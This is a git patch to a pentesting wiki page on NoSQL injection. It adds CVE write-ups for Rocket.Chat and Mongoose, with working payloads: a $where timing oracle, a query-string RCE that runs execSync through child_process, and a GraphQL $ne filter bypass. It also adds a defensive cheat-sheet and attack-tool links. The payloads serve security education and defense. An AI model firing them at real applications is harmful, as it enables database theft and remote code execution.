From 76c4ff33edf82bf2fc3dfc58961536a33817aca1 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Mon, 11 Aug 2025 08:31:13 +0000 Subject: [PATCH] Add content from: Research Update: Enhanced src/pentesting-web/nosql-injection... --- src/pentesting-web/nosql-injection.md | 49 +++++++++++++++++++++--- src/welcome/hacktricks-values-and-faq.md | 3 +- 2 files changed, 45 insertions(+), 7 deletions(-) diff --git a/src/pentesting-web/nosql-injection.md b/src/pentesting-web/nosql-injection.md index a85459d50..5abb067a9 100644 --- a/src/pentesting-web/nosql-injection.md +++ b/src/pentesting-web/nosql-injection.md @@ -4,7 +4,7 @@ ## Exploit -In PHP you can send an Array changing the sent parameter from _parameter=foo_ to _parameter\[arrName]=foo._ +In PHP you can send an Array changing the sent parameter from _parameter=foo_ to _parameter[arrName]=foo._ The exploits are based in adding an **Operator**: @@ -134,6 +134,44 @@ Inject `throw new Error(JSON.stringify(this))` in a `$where` clause to exfiltrat { "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" } ``` +## Recent CVEs & Real-World Exploits (2023-2025) + +### Rocket.Chat unauthenticated blind NoSQLi – CVE-2023-28359 +Versions ≤ 6.0.0 exposed the Meteor method `listEmojiCustom` that forwarded a user-controlled **selector** object directly to `find()`. By injecting operators such as `{"$where":"sleep(2000)||true"}` an unauthenticated attacker could build a timing oracle and exfiltrate documents. The bug was patched in 6.0.1 by validating selector shape and stripping dangerous operators. + +### Mongoose `populate().match` `$where` RCE – CVE-2024-53900 & CVE-2025-23061 +When `populate()` is used with the `match` option, Mongoose (≤ 8.8.2) copied the object verbatim *before* sending it to MongoDB. Supplying `$where` therefore executed JavaScript **inside Node.js** even if server-side JS was disabled on MongoDB: + +```js +// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id') +Post.find() + .populate({ path: 'author', match: req.query.author }); // RCE +``` + +The first patch (8.8.3) blocked top-level `$where`, but nesting it under `$or` bypassed the filter, leading to CVE-2025-23061. The issue was fully fixed in 8.9.5, and a new connection option `sanitizeFilter: true` was introduced. + +### GraphQL → Mongo filter confusion +Resolvers that forward `args.filter` directly into `collection.find()` remain vulnerable: + +```graphql +query users($f:UserFilter){ + users(filter:$f){ _id email } +} + +# variables +{ "f": { "$ne": {} } } +``` + +Mitigations: recursively strip keys that start with `$`, map allowed operators explicitly, or validate with schema libraries (Joi, Zod). + +## Defensive Cheat-Sheet (updated 2025) + +1. Strip or reject any key that starts with `$` (`express-mongo-sanitize`, `mongo-sanitize`, Mongoose `sanitizeFilter:true`). +2. Disable server-side JavaScript on self-hosted MongoDB (`--noscripting`, default in v7.0+). +3. Prefer `$expr` and aggregation builders instead of `$where`. +4. Validate data types early (Joi/Ajv) and disallow arrays where scalars are expected to avoid `[$ne]` tricks. +5. For GraphQL, translate filter arguments through an allow-list; never spread untrusted objects. + ## MongoDB Payloads List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt) @@ -218,6 +256,7 @@ url = "http://example.com" headers = {"Host": "exmaple.com"} cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"} possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ] + def get_password(username): print("Extracting password of "+username) params = {"username":username, "password[$regex]":"", "login": "login"} @@ -251,9 +290,10 @@ for u in get_usernames(""): ``` ## Tools - - [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration) - [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite) +- [https://github.com/ImKKingshuk/StealthNoSQL](https://github.com/ImKKingshuk/StealthNoSQL) +- [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli) ## References @@ -262,8 +302,7 @@ for u in get_usernames(""): - [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/) - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb) - [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/) +- [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359) +- [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900) {{#include ../banners/hacktricks-training.md}} - - - diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index a5b53905c..dd6a54063 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -48,7 +48,7 @@ Yes, you can, but **don't forget to mention the specific link(s)** where the con > [!TIP] > -> - **How can I cite a page of HackTricks?** +> - **How can I a page of HackTricks?** As long as the link **of** the page(s) where you took the information from appears it's enough.\ If you need a bibtex you can use something like: @@ -144,4 +144,3 @@ This license does not grant any trademark or branding rights in relation to the {{#include ../banners/hacktricks-training.md}} -